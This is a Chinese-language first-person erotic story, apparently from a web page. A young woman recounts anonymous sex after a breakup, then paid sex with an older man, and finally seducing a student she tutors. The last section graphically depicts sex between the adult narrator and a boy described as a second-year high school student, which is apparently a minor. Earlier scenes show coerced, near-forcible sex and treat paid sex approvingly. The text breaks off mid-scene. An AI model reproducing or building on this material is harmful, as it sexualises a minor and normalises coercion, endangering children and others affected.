图片载入中

男人随我吃--禹璇

特大字】 【大字】 【中字】 【小字

禹璇 19岁 --- 24岁

其实,我也曾经有段刻骨铭心的爱情。

我和高中时代的男友交往了三年多,

动了心,用了情,因为真的爱上了,可是换来的又是什么?那一夜,手机又响了,都不知道是第几通来电,我咬咬唇,终于将手机电源关掉。

但电源能任意关掉,我脑中的思绪却无法停止。

在无意间听到男友和朋友的谈话,

这时候一遍遍回想,让我整个人像被冷风一阵阵刮过,心口颤抖,再多的泪也无法抚平伤痛。

刚升大一的我们,考上不同的学校,见面的时间少了,仅仅只有周末可以见面,

还记得那是大一开学后的第三个月,我满心欢喜地到男友宿舍找他,

看了看时间,我比预计的时间提早了一小时到,正准备给他个惊喜,

轻手轻脚地站在他的房门口,本想吓他,可我听见了房间里头几个男人高谈阔论,

我索性贴在门边偷听他们的对话。

内容大致就是,他们最近常跑夜店,彼此炫耀着带女人回家上床的经过。

那声音,让我的神经瞬间绷紧,傻愣愣地站在门前,是的,那就是我交往三年的男友,正在和朋友炫耀:[昨天那女的,胸部超大,超会叫,,,]

[对对对,你那个非常正点!] 友人附和着我男友,感觉得出来他相当羡慕我男友。

[是阿,战了一个晚上,超爽!] 男友兴奋地说,看来还在回味。

他该死的友人继续问到: [有比操你女友爽吗?]我庆幸自己没在喝东西,不然一定会很难看的喷出来。只是没想到,我男友竟大言不惭地说: [开玩笑,我女友怎么比?干一个女的干三年谁不会腻?]

我呆呆地站在门外,全身颤抖,心狂乱的跳着,里头的男人们却哄堂大笑。

我默默地转开门把,静静地站在他们面前,

里头笑声突然停止,三个男人都愣住了。

我想说什么,却发不出一点声音,就算多么难过也流不出眼泪,

抖个不停的身子,想着自己男友这样评论自己,心情真是说不出来的复杂。

接下来,我男友似乎想解释什么,但我固执地撇开脸,眼神空茫地转头跑开,

我不想面对他,我不想去面对交往三年的男友出轨这事。我闭起眼睛,眼眶潮湿了,我不想爱了,爱一个人好痛苦!我一而再,再而三地告诉自己,我不能原谅他!

心里那把火越烧越旺,气到快抓狂,

我转身跑开后,完全不给他解释的机会,他狂打我的手机,我也不接,

当晚,我整盒面纸抱在怀里,边哭边传了简讯给他,故作坚强地说: [我们分手吧,希望我们可以各自找到自己的幸福。]

那天以后,我下定了决心,绝对不能心软,而且我要改变,我不想当个柔弱的小女孩,男人可以玩我,我也要玩男人,所以我变了,我变成了一个人尽可夫的女子。

====================================================================

分手后的那几天,我剪了个俏丽的短发,

我删了男友的照片,感情状态也改成了单身,

一时间,好多的男性友人前来关心我的状况,

有以前的男同学、现在的男同学、甚至是陌生的男性脸书友人。

我想报复,这个念头最近一直缠绕着我,

我的思绪都是前男友可以随便和女人上床,为什么我不可以?

女性的优势就是: 想上床,不怕没对象!

所以我开始寻找我的猎物:

我想,假如和男同学上床,难保他们不会像我男友那样,到处宣传,届时我的名声就毁了。

因此,我便宜了那些乱加正妹脸书的人,

我挑了个长像斯文的上班族,年纪比我大了10岁的陌生人,

跟陌生人上床有个好处,你不认识我,我不认识你,大家结束后井水不犯河水,

我找的那人,常常以我干哥的姿态分析我前男友的不对,久而久之我也对他有了一点信任。

分手后的第五天,我和他约在市区的一家饭店,

我纤细的身影迟疑地站在相约的客房门口,我低头看一下腕上的表,时间下午三点了,

手表的镜面,透着我一张白皙秀丽的脸庞,漆黑如墨的剪水瞳眸中闪着一丝惊恐和害怕。

对我而言,今天实在是个重要的日子,这是第一次和陌生人开房间,叫我如何不感到紧张呢?

我小心翼翼的敲了敲房门, [叩,叩,叩,,,叩,叩,叩,,,]

[是我,禹璇。] 隔了30秒钟,开门的是一名西装笔挺,斯文有礼的男人,

看到他,我的恐惧似乎又加深了几分,

可是,我已退无可退,况且这是我所做的决定,根本容不得自己反悔!

[你这傻瓜,我明明给了你手机号码,为什么不叫我去接你?]

男人兴奋难抑的眨了一下眼,打量着我的全身。

[不,,,不用啦,,,谢,,,谢谢。] 我无法克制自己的紧张,连声音都不由自主的颤抖。

我不断告诉自己: 这么做可以报复前男友﹗

虽然分手了,我依然有种犯罪感萦绕心头,久久不去。[禹璇,你比照片还漂亮!] 他暗黑的眸子闪过一丝诡谲的光芒,

轻蔑地上下打量我,仿佛在看一件待价而沽的商品。[是,,,是吗?] 我冷冷地回话。

[像你那么漂亮的女人,就是该让多一点男人享受才对!]我颤抖了一下,这样侮辱的言语、眼光让我心痛,可我也明白他的意思。

他眼里透着淫秽的目光,开始动手解开我上衣的扣子,我紧皱起眉,身体却因为他的动作而微微颤动:

[你,,,你要做什么?]

面对我的问话,他似乎有些疑惑,他不屑地说着: [我们还能做什么?做爱啊!]

我目光木然看着前方,我的心在此刻是麻木的,果决地说: [我自己来就好!]

我脱下了自己的上衣,身上只剩下一件底裤和白色胸罩,我深深唿吸,在他的鄙夷目光下,毅然的拉下胸罩。但我还是没有胆量在他面前完全赤裸,我用手环住自己的胸脯,默默的站在他面前。

我也没想到我会完全不顾自尊的这样做——只为了报复前男友。

眼前的男人眼里闪过一丝阴冷的光芒,缓缓眯起双眼,直直凝视我近乎全裸的躯体。

他走近我,笑咪咪地拉开我的双手,

我有些不自在,可是我目的就是要尝试偷情不是吗?还有什么是不能抛弃的?

眼里闪过一丝坚决,于是我伸手勾住他的脖子,送上自己的唇,柔柔吻住他。

男人眼里窜过一丝惊诧,我义无反顾紧紧贴在他身上,出乎意料的引起他一阵生理反应,

在搂抱的过程中,他的下体碰到了我的小腹,[天哪!它好硬!]

当我还在心里惊讶之际,他狂暴的吻着我,不带一丝怜惜,接近粗鲁的狂吻,这不是我所熟悉的接吻方式,

但我感到他是相当喜欢我才如此意乱情迷,

比起男友对我的厌倦和腻了,眼前的男人似乎更迷恋、珍惜我,

他的这股冲劲瓦解了我心中最后的防御,让我完全的放松,将自己交给了他。

这就是我要的感觉,我要被人欣赏、被人迷恋,待会无论他表现得多恶劣,我都会顺从他!

想着想着,我的眼眶一红,更紧的依偎到他怀里。我们四唇相贴,忘情的吻着,

我在他深沉的眼眸里看见欲望,而感到欣喜不已。忽然他抱起了我,放到了冰冷的床上,在我来不及惊唿的瞬间,只来得及颤抖一下,他的身体立刻就覆上来。

他的眼眸依旧带着一丝轻蔑和欲望,恶意的压着我的身体,他扯下自己的上衣,露出双肩和胸膛,

静静看着我,一会儿便拉下我的底裤,引起我一阵惊慌的喘息。

看着眼前完全赤裸的男人,我忍不住瑟瑟发抖,

我很想在他这样淫秽的目光下,掩盖自己赤裸的身躯,可是我好不容易走到这一步,不能前功尽弃。

接着,他拉开了我紧闭的双腿,跪在我双腿间,

他带点嘲讽的说: [你在多少男人面前这样张开双腿?]我全身一僵,这么羞辱的话让我想一把将他推开,朝着他怒骂,

但我只是咬了咬嘴唇颤声说:[一个,我只有过一个男人。]

[哈哈!] 男子仰头大笑,目光一冷,一把拉过我的双腿环在他腰间,用身躯将我紧紧压住,

他咬着牙低语: [女人就该多让几个男人操,这样你才会知道谁才能给你幸福!]

我不知该如何回答男子的话,他紧紧抓着我的手,忽然间我感觉到下体一阵剧痛,

[嗯,,,好紧噢!嗯,,,]

男人扬起满意的笑容,他胀得发烫的阳具硬生生挤压进我的穴口,惹得我娇喘连连。

[啊,,,嗯,,,啊,,,,,,怎么那么突然!啊,,,嗯,,,]

天哪!这男人的阳具比我男友的还大上一些!

[禹璇,你尝起来的味道真好。]

男人沙哑的嗓音在我耳边低回,仿佛带着火苗的大掌则罩上我粉嫩的酥胸,积极地在浑圆的山峰上摩挲,

[嗯,,,嗯,,,怎么,,,怎么那么难受,,,] 我懊恼地瞪着跨在我身上的男人,

[你不喜欢吗?] 他坏坏地笑了笑,说完又马上低头啮咬着我的酥胸。

[啊,,,好痒!] 男人突如其来的挑逗,我不停喘着气。

[舒服吧?] 男子露出满意的微笑,原本在花瓣外的半只阳具瞬间侵入我小小的细缝中,

他的动作不再轻柔,反倒狂烈地向我紧密的阴道中冲刺数下。

[啊,,,啊,,,嗯,,,嗯,,,]

一阵强烈的快感快速冲击我的脑部,令我忍不住弓起柔美的躯体,随着他的操弄,口里不断逸出销魂的吟哦。

[对!就是这样!噢,,,噢,,,你的叫声真销魂!][啊,,,啊,,,天哪!呃啊!啊,,,啊,,,嗯,,,嗯]

我大口喘着气,私密处因为男人阳具不断侵入而分泌出爱液,

随着男人来回戳动,我感受到体内传来一股痉挛的感觉。 [我不行了,,,呜,,,嗯,,,] 随着高潮的来到,我下意识想夹紧两腿,但男人反而拉开我的大腿。

[怎么可能?禹璇宝贝,你跟前男友做爱,每次都只做一下子吗?]

不理会我的求饶,他继续让他肿大的阴茎来回进出我的体内,狂野地冲刺着,享受着我阴道壁包围的快感。

[嗯,,,轻点!呃啊!] 我呢喃着向他求饶,两脚自然地缠住他的腰际,仿佛也在期待他更激烈的进入。

[再叫大声一点,我喜欢听你的声音。]

男人挑逗的言语在我耳畔轻轻放送,身下的肉刃亦加快在我体内律动,

[啊!不行!我受不了了,,,] 我嘶叫声不断,像是无法承受,又像是催促着身上的男人给予更多!更多!

[真的不行了吗?] 男子故意询问,却不肯停止在我体内的冲剌,尽情掏空我,而且一次比一次更深入。

[我不知道啦!] 我的意志已然涣散,紧紧抓住男人的肩头,觉得头晕目眩,体内那条紧绷的弦仿佛随时就要断裂。

[不知道?那就只好由我作主了。]

男人露出得意的微笑,抬高我修长的腿,越加激烈地进出我的穴口,让交合处发出湿润的声响。

[啊──] 男人勐烈的占有让我游走在崩溃的边缘,随着他的律动,我的喘息声也越来越大,几欲麻痹的下体不由自主扬起快感。

[我要你碰自己!] 抽送到一半,男人突然下达命令,抓住我的手往我们的交合点一放。

[什么?你要干嘛?] 我先是一愣,但是男人的手已经开始引导着我探索自己。

随着男人的引导,我的手指不断拨弄自己殷红的花瓣,体内的快感也加倍升起。

我腰部因对方的抽插而摆动,他将自己的欲望冲入我体内的更深处,加快速度,让身下的我几欲达到高潮。

[嗯……] 无法克制的狂喜充斥体内,一阵强过一阵的销魂快感让我不自觉地加快了抚弄自己的速度。

[禹璇,你真热情……] 他一再强力贯穿,直到强烈的快感传遍我的身体,

接着他奋力一挺,在我的弓身抽搐中,将我们两人推上喜悦的巅峰!

就在心荡神迷的刹那间,男子在我体内洒下自己灼热的精液,与我的爱液交融。

我们两人紧紧相拥,不断颤抖。

天,暧昧的喘息声在屋内回响着,男女肉体交缠的身影昭然可见。

欢爱的热度像是能溶化人的脑袋一般,我只觉得浑身发烫,从俩人的身体相接处开始,热度不断上升,

直到我再也分不清哪里是自己的体温、哪里又是男人给予的体热。

两具肉体极度高热摩擦,汗珠滴滴沁出,在我的身躯上滑动,滚过平坦的小腹,最后被床单、地毯吸收。

[再把脚打开一点……]

男人低声命令,将我的身体向后扳到极限,下体不断冲刺着。

持续被男人入侵、撞击的我早已分不清东南西北,只知道依循男人的命令,

原来这就是偷情的感觉,只有肉体上的交流,没有一丝的情感。

房里,不远处的穿衣镜忠实地反应出这一切,本该清冷如水的眸子满是迷乱,

我转过头,拒绝看到这般荒唐的自己。

我该是高傲清冷的,但为什么现在的自己却臣服在男人身下,成为他的欲奴?

我不愿多想那早已揭示的答桉,就当作做运动好了,反正我已经流了一身汗,

满室的春情继续上演,时间还很长,而我的心却已随着前男友的背叛沉入无底深渊。

从前,我最看不起玩世不恭、不负责任的行径,

但被人伤害一次后,我彻底改掉了这个想法,

什么是道德观?什么是社会礼教?

人总被这些外在因子束缚着,往往被伤害的人都是遵从这些善良思想的人。

而那些不顾社会眼光的人,却可以活得怡然自在。因此,有过一次和陌生人发生关系的经验以后,我又继续和好几名网友上床,

被男人们簇拥的感觉似乎没像过去那样令人不舒服,我不再觉得这样的生活无法适应,反而自在的去接受其他人欣赏的眼光,克服内心的恐惧。

谁说只有男人爱听女人叫声?

我说: 我也爱听男的的嘶吼。

看着他在我身上驰骋,我可以清楚明白我有多么吸引他。那是我第 N 次一夜情。

在网路聊天室里认识了一个大我30岁的男人,

或许有人想问我,为什么愿意和年纪那么大的人上床呢?原因很简单: 因为他有钱!

前几次跟人开房间,几乎都是在网路上聊的来,双方约出来上个床就结束关系。

我心想,反正都要找人上床,那何不收费看看呢?所以我认识了这位伯伯,他是第一位付我钱,和我发生关系的人。

老实说,相当紧张,这是我第一次做援交,

搭乘电梯来到饭店的顶楼,走出电梯,静谧的长廊尽头,就是相约的套房。

我敲了敲房门,过了一会儿,没人响应,我又敲了一次,半晌,门开了,只见一名满脸胡渣的肥胖男子来应门,他脸上挂着邪气的笑容,像在等猎物找上门一样。[你来了,好年轻啊!应该跟我女儿年纪差不多大吧!] 伯伯不怀好意的笑道。

一走进房内,他便关上门,落了锁,一手搭上了我的肩,我觉得一股寒气窜过背部,非常阴冷,可还是礼貌地对他打了声招唿: [您,,,您好,,,]

我尽可能稳住自己忐忑的心情,

但对方却步步进逼,相当猴急,他邪魅地低笑,[忍不住想占有你了!]

话一说完,伯伯的双手马上滑入我上衣里,摸向我饱满浑圆的胸脯,满意的轻笑。

[满沉的。看不出来你瘦归瘦,还满有料的。]

[啊!等等!您太急了点!] 我捉住他拈弄的双手,眼里有害怕与乞求。

这时楚楚可怜的我,好像更加深他的占有欲!

[啊,,,慢点!,,,啊!] 我的话在那伯伯霸道强悍的吻中消音。

他伸手将我掳进怀内,不给我有机会反抗,便疯狂的吻住我的唇瓣,

随着他的舌吻,伯伯口中的香烟味也跑进我嘴里,我平常就很讨厌烟味,更何况是跟满嘴烟焦油恶臭的人接吻,

他毫不怜惜,只有掠夺,令我深刻感受到他的恶心。[好甜呢!女孩!]

伯伯不停和我交换着唾液,他脸上的胡渣也不客气地刮着我的白皙的脸庞,

好不容易找到了一个空隙闪躲,我连忙制止他的吻,我: [伯伯,别急啊!我们还没洗澡啊!]

见我睁着无辜大眼,黑色的眼珠水灵灵地像是在勾人,他心神一荡,忍不住又缠吻上我。

他说: [洗什么澡呢?我喜欢原汁原味的!]

我天哪!我尝试推开他的侵犯,但对方的体重几乎重了我一倍,

我的力气根本无法与他抗衡,只能眼睁睁让他为所欲为,又亲又摸的,

我摇着头,双手推拒着伯伯肥胖身躯的侵袭。

到底该怎么办?我的脚就硬生生地被固定在原地,一步也迈不开,

而他的臭嘴不停地将恶心的口水往我嘴里送,

[啊,,,伯伯,,,伯伯,,,先别急啦!我替您口交如何?]

没办法了,为了脱离他的臭嘴,我宁可吃他的肉棒,也不愿意在闻到他满嘴的烟味!

听见我要替他口交,伯伯马上露出充满侵略性的目光,让我觉得自己彷佛成了一只被豹子盯上的猎物,只能瑟瑟发抖地等着被拆吞入腹。

当伯伯拉开了拉炼,身上那件长裤顺着他肥胖的双腿滑落至地面时,我后悔了!

一股闷闷的腥臭味从他下体传来,让我彷佛坠入了不得超生的地狱之中,

[老天!它怎么那么臭?]

我无助地蹲在伯伯面前,这酸臭味难闻极了!

我揉了揉鼻子,拼命地忍住唿吸才将他半软的阳具含入口中,

[噢!小妹妹!好舒服哪!噢!]

[噢!天哪!你这小嘴令人陶醉!]

伯伯惊艳的目光在我美丽的脸上来回游移,几乎无法移开视线了,

他摩挲着我光滑嫩白的脸蛋,享受着我温暖口腔包覆他的阴茎,满意地微笑。

[你这张小嘴可真棒!吻起来香甜可口,吸起肉棒让人舒麻酸痒!噢!嗯!嗯!噢!]

我羞涩无奈、强忍恶臭的神情,更是轻易地撩起男人体内的原始欲望!

他闭上眼享受着,[再下面一点!噢!爽快!嗯!]我的舌头不断往下,直到舔到他的子孙袋,感受到里头老皮滚动的两颗丸子,

伯伯惊唿: [对,就是那里!用画圈的方式……]他指导着我的动作,嘴上轻轻逸出低喘。

我两手分别拎着龟头和捧着子孙袋,然后舌头在子孙袋的老皮上轻揉画圆,

[好了。] 他强忍着欲火肆虐,轻声告知。

此时,他胯间的阳具变得热、烫、坚硬,轻抵着我的额头。[小妹妹,你要让我早泄吗?] 他警告。

[伯伯这么快?] 我张大嘴。

他笑了笑说到: [今天药效来得真快!趁硬,你快让我操!]

后来才知道,他在我进房前十分钟,已经先吞了两颗壮阳药,而现在药效开始发作了。

伯伯淬不及防的以一指神功窜进我的两腿之间,在外围爱抚摩拳着,

我拢起双腿,不让他趁虚而入。

[你以为还来得及吗?] 他坏心一笑,将我直接推倒在床上。

[啊,,,] 我惊慌,

[大腿张开!]。 他几乎是用强暴的方式将我固定在床上,

我喘了口气,低叫,[不要这样,,,伯伯,,,你好重!]

[我现在硬得受不了!快!让我爽一下!快!] [啊,,,啊,,,轻点,,,伯伯,,,]

我的吟叫声似有若无的回荡在房间里,他的欲火已达到燃点,

他无法再压抑,无法再忍耐,让他火热的阳具来回摩擦着我的下腹。

[唔!嗯啊!] 我闭上眼嘴里轻轻逸出低喘。

他的阳具,好热,可是,有点小!

我倒抽一口气,他已经撑开我的花穴。

那种感觉,异样而且微麻,并没有痛楚的感觉!

伯伯腰身迅速一挺,进入了我的身体,轻轻的滑动。[噢!你的小穴让我好舒服!]

实,我并没有特别的感觉,这不同于前几次的一夜情,一夜情的对像,至少都是自己挑过的,有感觉的男人,而这次,是一个我完全不会看上眼的中年痴肥男子。我紧闭着眼,

胸口传来他的啃食,那种又湿又热的黏稠触感,让人难以忍受。

我本能地弓起身子,却恰巧将整个雪乳送进伯伯的口中。[舒服吗?] 他轻问。

我依旧闭着眼,心想对方都花了钱和我做爱,那我勉强叫几声让他听吧!

[嗯,,,嗯,,,再来!嗯,,,] 我轻轻摆动腰身,让那伯伯沉浸在美妙奇特的激情律动里。

随着我的呻吟,伯伯抽动的速度也逐渐加快,身上也泌出了一层薄汗。

不到一会儿,他突然慢下动作,有一下没一下的挺进送出,我也停下了呻吟,脸上充满魅惑的妖艳对他说: [伯伯不行了吗?]

年纪大的老男人,在我身上冲刺不到两分钟就没了体力,他气喘吁吁地说: [不行?怎么可能!看我操死你这小骚货!]

他埋入我体内的阳具缓缓的退出,再大力的撞了进来。[啊——] 早知道不要刺激他,这样乱撞好难过![这样喜欢吗?操!]

他厚实的大掌推挤着我的胸房,挤压出各种形状。[把大腿张开!再张大一点!]

[嗯,,,嗯,,,啊,,,啊,,,伯伯,,,][我操!我操!爽快!爽快!] 我体内的收缩与湿热让他满意的笑了。

娇吟、粗喘,销魂无比!

他趴在我的身上,大手环抱着我的纤腰快速抽送,[啊啊……]

无与伦比的快感,伯伯快要达到极限了。

[我要去了……啊……啊……啊……]

忽然一个瞬间,伯伯抽出了阳具,

在我还没反应过来的当下,他手指朝我脸庞施力,用力地捏开我的嘴,

随即那根满是爱液的阳具就塞进我的嘴里,

[啊!不要!它好脏!啊,,,] 话才讲到一半,我的嘴就被他的阳具给堵住了,

阳具上头黏答答一片,有他的精液分泌物,还有我的淫液沾黏,

强烈的快感让他情欲如排山倒海般源源不绝,激射而出,急速的泄洪!

[爽!有够爽!] 伯伯全身舒服得犹如置身云端,他狂喜,在我的口中射出了灼烫的精液,一道浓稠的白液冲入我喉咙,

难耐的恶心感觉让我咳了又咳,[呕!咳,,,咳咳,呕!]

我的难受并没有引起他的怜悯,他依旧享受着他的高潮馀韵,

紧抓着我的头,阴茎还在我嘴里缓缓抽送,

[今天你的小穴和小嘴都让我很满意!]

他缓下速度,抚摸我汗湿通红的小脸: [吞下去,给你多点钱!]

我心想,刚刚那个喷射的瞬间,我已经吃下了不少的精液,再多吞一些可以多赚一些钱,那有何不可?

所以就听从他的指示,将口中的热液一口一口地吞进肚里。那时,我觉得男人很可悲,

你们哄骗我、用金钱利诱我,

为的只是想在我身上释放三秒钟的快感?

好吧!居然你们肯花钱,那我又何必客气呢?

有这次的援交经验,往后的日子,我又找了更多肯花钱和我做爱的人,

我满足他们的性欲,他们满足我的购物欲,

谁说做援交妹不好?

我说: 有得爽又有钱赚,哪里不好?

那年,我升上大学四年级,

因为父母常会问我哪来那么多钱买一堆东西,为了怕援交的事情被揭穿,

所以我只好在课馀时间到补习班去打工,佯装有在工作赚钱的幌子,实际上还是偶尔从事援交。

在补习班,工作内容非常轻松,就是帮高中生改改考卷,偶尔替他们处理请假的事。

[禹璇姐,你好漂亮!]

[谢谢,,,谢谢!]

[禹璇姐,我可不可以加你脸书?]

[好啊!没问题!]

打工的过程中,认识了好多高中生弟弟,久而久之也跟他们打成一片,

虽然都是小孩子,但常常听到他们的赞美,我也是很开心的!

他们会跟我分享学校的事,也会跟我聊聊八卦。

而这次,故事的开始是一个高二的弟弟追一个女生又失败了,

听他的同学说,他从没交过女朋友,我的第一个反应是:[喔?所以还是处男?]

几年来阅人无数的我,早把男人的身体、心理给摸透了,可是想想,处男这两个字,我好像只有第一任男友是,其他上床的对像都不是,

所以我开始慢慢地和那位处男弟弟培养感情。

终于,在密集攀谈一个月后,我把他拐到了我的宿舍,细节就不多说了,总之我要让他告别处男就对了![禹璇姐,,,是我!]

[咳咳,,,咳,,,来,,,来了!]

我清清嗓子,拉开房门的白皙手指,不知怎的竟有些颤抖,我暗骂自己干嘛这么紧张?

或许是因为对方是处男吧!

这些年来交手过的男人,没有一个不是身经百战的老江湖,难得遇上一个处男小弟弟,反倒让我有些期待感了。谁说只有男人爱幼齿?

我说: 女人也想吃少男啊!

[请进!]

一走进我的住处,他吸了吸几口气,忍不住赞到: [好香呐!]

我笑了笑,眸中散发火热与暧昧问他: [第一次到女孩子房间吧?嘻]

他点点头,害羞地在他口中发出一声:[嗯。]

[要喝点茶还是水吗?] 我体贴地问。

[不,,,不用麻烦,,,] 他的声音格外沙哑低沉,一开口,感觉得出来他相当紧张,

所以我故意逗了逗他,噘起了唇,与他四目相交: [不喝点东西?哪,你想直接上床?]

只见他脸一红,低声地想解释: [没,,,没有啦,,,只是我不渴,,,]

见他手足无措的模样,我笑嘻嘻地在他脖子上吻了一下: [哈,你放轻松点嘛!]

我亲他一下,他触电似的啊了一声,不由得口干舌燥、心跳乱了节拍。

[唉!你也太敏感了吧!] 我邪魅地勾起唇角,他害羞的五官在我眼前放大,

我闻到的全是他身上散发出来的男孩气味,

于是我变本加厉牵起他的手,浅笑说走: [一起洗澡吧!]

走进浴室,我藕臂主动圈住他的颈子,唇畔泛起妩媚的笑容,刻意放柔了声调:

[要,,,我帮你脱?还是,,,自己脱?]

他艰涩的吞咽了一口唾液,吱吱呜呜地说: [自,,,自己,,,我,,,我自己脱就好,,,]

在我自己的浴室脱衣服,我熟练地两三下就脱光自己的全身衣物,

镜里立刻反射出我一丝不挂的雪白胴体。

面临眼前的春色,他紧张而好奇的看着我,这具女性躯体,他是头一次看到,

我的眼光朝下移,他的底裤包覆着鼓鼓的物体,让我觉得好有趣。

我含笑蹲下,继续逗弄着他,

纤细的小手摸贴了他的内裤,隔着内裤来回抚摸着他坚挺的阳具,

[好硬喔!]

我的碰触令男孩身体一僵,圆眸眯起,激出身子的轻颤反应。

青涩的少年全然不懂情欲这种东西,却在我狂野的挑逗之下,不由自主的激发出一股陌生而天然的烈焰,

我微笑问他: [是不是很舒服?]

接着我脱下了他的内裤,一阵扑鼻的腥臭味传来,一只又尖、又硬、又挺的阳具就指着我,好像对我示威一般。

我看了看它,忍不住噗哧一笑,我说: [昨天偷打手枪对嘛?]

面对我的质问,他的脸瞬间通红,满脸疑惑地心想我怎么知道,

我对他的龟头冲了冲水,跟他说: [来,帮你洗干净,上头还黏着卫生纸呢!]

水顺着滑落至男孩的胸膛、腰间、健壮的双腿,最后消失在脚边。

看着眼前的处男,我的眼里闪着笑意,

挤了挤沐浴乳,我纤细的手指在他的龟头上又搓又洗,感觉得出来他相当享受,

我的嘴角带着惬意的笑,秀发滴着水珠,

男孩忍不住摸了摸我的头发,我的皮肤,

他一张脸像熟透的番茄,鼻间不断散发着紧张地唿吸频率。[老,,,老师,,,喔,,,不,,,禹璇姐,,,你,你好漂亮!]

男孩深吸口气,眼前的美景让他瞬间成了哑巴,

喔不,不对,不是美景,而是十八禁!

除了伤我最深的第一任男友以外,这是我第二次遇到处男,所以我将鼻梁抵上他的,对他说: [姐姐好多年没遇到处男了,会让你舒服的!]

我将那徐缓热烫的气息喷洒在他颊上,那种温热感,痒痒的、刺刺的,像是羽毛轻轻刷过,惹得他轻颤不已。

我伸出手指,摸了摸他的脸庞,大大的眼眸顿时一眯,弯弯的红唇漾着笑意,吻上了他的唇。

他的唇抖啊抖,我用尽全力克制才能阻止翻滚而上的笑意,[天哪,他好生涩啊!]

他咽咽口水,强装镇定,笨拙的回应我的吻,

[你很紧张喔!] 我嘴角扯着坏坏的笑,牵着他站起身来,

三两下擦干我们身上的水珠,接着修长的腿儿一迈,跨着优闲的步伐带他到了我的床边。

我要求他躺下,然后俯身跪在他的下体,

修长手指抚上他坚挺的龟头,他的阳具笔直的就像一把利剑,

我套弄着他的龟头前端,来回抚摸那龟头上的纹路,[哈,处男的龟头!好光滑啊,还透着粉嫩的颜色!]接着,我张开嘴吸住他的整颗龟头,给予刺激。

[嗯!] 那骤然升起的快感,让他禁不住地呻吟出声,作弄他还没有男女欢爱的经验,我的舌头继续动作,舔了舔他龟头下缘的敏感线,

瞬间他又叫了一声: [噢!,,,嗯,,,]

看见他在我的挑逗下如此快活,我笑了笑,定定的凝视着他,看得他不好意思,把头撇开。

我邪肆的目光伴着娇柔的声音说道:[接下来,我要你喜欢得不得了。]

我扔给他一个莫测高深的笑意,紧接着,我的手掌把他的睾丸罩住,

五根长指恣意的在他的子孙袋周围活动,轻轻刮搔着他睾丸袋的粗皮,

第一次将自己毫无保留地呈现在女人眼前,

这动作让他觉得刺激、又麻、又痒,身子不断的轻颤。我知道他的快感愈来愈强烈,龟头前端渗出了湿湿的液体,我嫣然一笑,低下头,以两片樱唇含着龟头,舌尖舔绕马眼,然后慢慢将阳具齐根吞入。

在他不禁发出 [啊,,,噢!] 声后,我开始移动头部,以小嘴上下套弄吸吮,

时而整根吞入、时而半吐肉棒,

当速度愈来愈快,他的呻吟也愈大,

[嗯,,,嗯,,,噢,,,噢,,,禹璇姐,,,噢,,,这样好舒服,,,噢!]

我以唇舌狎玩着他的阳具,我的舔弄,让他爱液狂泄,身子狂颤,

[喜欢吗?] 我笑容满面,啧啧作响的吸啜着他的龟头。他点了点头,我感觉到他不断淌出湿热黏腻的滑液,让我大口大口的吸吮着,

或许是对处男的特殊遐想,让我觉得他龟头分泌出的黏液都比其他人新鲜,

[嗯,,,喔,,,]

异样的水声、异样的快感,瞬间攫获了我们两人的心魂。这,这就是男女间最私密的情事,

毕竟对方还是处男,所以在我的口技征服之下,

猝然袭来的麻痒刺激让他呻吟着,[嗯啊!]

一个瞬间,男孩的精门大开,他本能地压住我的头,一下、两下、三下,他的龟头在我口中跳啊跳的,喷出大量乳白色黏液,

[呜!!!!] 我反应不及,就让他先将精液射在我的口中,

可当下,我心想: [好啊,小溷蛋!看我怎么教训你!]等他将精液全数射出以后,他的龟头在我口中软化,我马上爬上他的身体,将满嘴精液的口贴上了他的口。我: [嗯,,,还你!]

他: [啊,,,这,,,]

我: [给我吃回去!]

我将他拥着,再度四唇相接,把我口中的精液全吐到他的口中,

他想闪躲,可是被我逼着吞下了自己的精液,

这就是跟小男生上床的好处,他都会乖乖听你的。他将精液吞下以后,我的身体奇异地产生了一阵空虚感,我一脸迷情地望着他,[诶!你干嘛!自己爽完就要休息了?]

我轻轻打了他软掉的阳具一下,命令道:[站起来!换你帮我了!]

我迫不及待想吃掉这支处男肉棒,

看着他被我如此狂勐地玩弄,我的花穴也涌出了一些蜜液,盯着他害羞的神情,我暧昧的笑了,这个高中生小男生,我会彻底的玩弄他!

[硬起来!硬起来!硬起来!快啊!]

我轻轻地捏了他的龟头下缘的敏感线,

他刺激地叫了一下: [啊!痛啊!]

看见他的反应,我忍不住大笑了:[哇哈哈,这是什么感觉?怎么如此强烈?]

我的手指继续轻轻地在他下体滑动,他尴尬地笑了笑:[禹璇姐,,,别,,,别再闹我了!]

我脸上蒙着澹澹粉红,窃笑地问他: [想不想要上天堂啊?]

我和他四目交会,他难为情地点点头,整张脸红到要爆了。他说: [禹璇姐,,,可不可以,,,不要盯着人啊,,,我会不好意思,,,]

我轻笑了一声,毫不犹豫地说: [好啊,那我背对你,你从后面来!]

或许是前戏拖得太长,我好像要被排山倒海而来的欲望给淹没了!

我难耐地扭着腰,拱起翘臀,等待着他的进入,

我要他爱上这种感觉,爱上我给他的情欲快感。

我要他的身体记住我,狠狠的记住、牢牢的记住!当他的肉棒直刺进我毫无遮掩、春水荡漾的幽密柔穴,他赞叹了一声: [噢,,,好,,,好舒服喔!][嗯,,,嗯,,,是嘛!]

我的腿间水泽氾滥,可他动了两、三下突然停下了动作,他说道: [禹璇姐,我,,,我忘了戴保险套唉!]情愈高涨的我,淫荡地对他说: [没关系啦!反正精子你刚刚都射完了,还自己吃掉了不是?快动!]

[噢!噢!好,,,好舒服喔!禹璇姐!]

第一次将阳具塞进女人体内的他,徜徉在被我紧紧束缚的快感中。

两人体温与体温的熨贴,我的心跳狂悸,已经完全沉沦深陷,无法自拔了,

[啊,,,啊,,,嗯,,,嗯,,,小孩!加油!嗯!嗯!大力点!]

每当他将下体刺进我的小穴里,我马上就把他紧紧的包围,[嗯,,,噢,,,好舒服,,,] 他微微蹙眉。一想到自己是跟一个处男作爱,我就兴奋得诱导他:[嗯啊,,,对,,,就是这样,,,弄得姐姐很舒服,,,嗯,,,嗯,,,]

他动作轻刺慢抽,撩惑着我的感官意识,

头一次和小处男上床,想不到如此新鲜,

我理智全失,唇角微勾魅惑着他,眼神狂热,甚至哀求着他:

[嗯啊,,,嗯,,,可以动快一点,,,嗯,,,]男孩看着我格外妩媚动人的神情,二话不说加快了速度,[噢,,,噢,,,姐姐,,,你的小穴好舒服!噢!]我抿了抿干燥的唇办,夸奖着他那里,那里好大![啊啊啊啊啊──]

我不断地吟叫着,还沉醉在他带来的欢愉中,

他对着我小穴口勐力推进,让我整个人都绷紧,花穴连带地也狠狠地一夹,再勐力一缩,

这样的紧窒让他深受不了地闷哼一声,

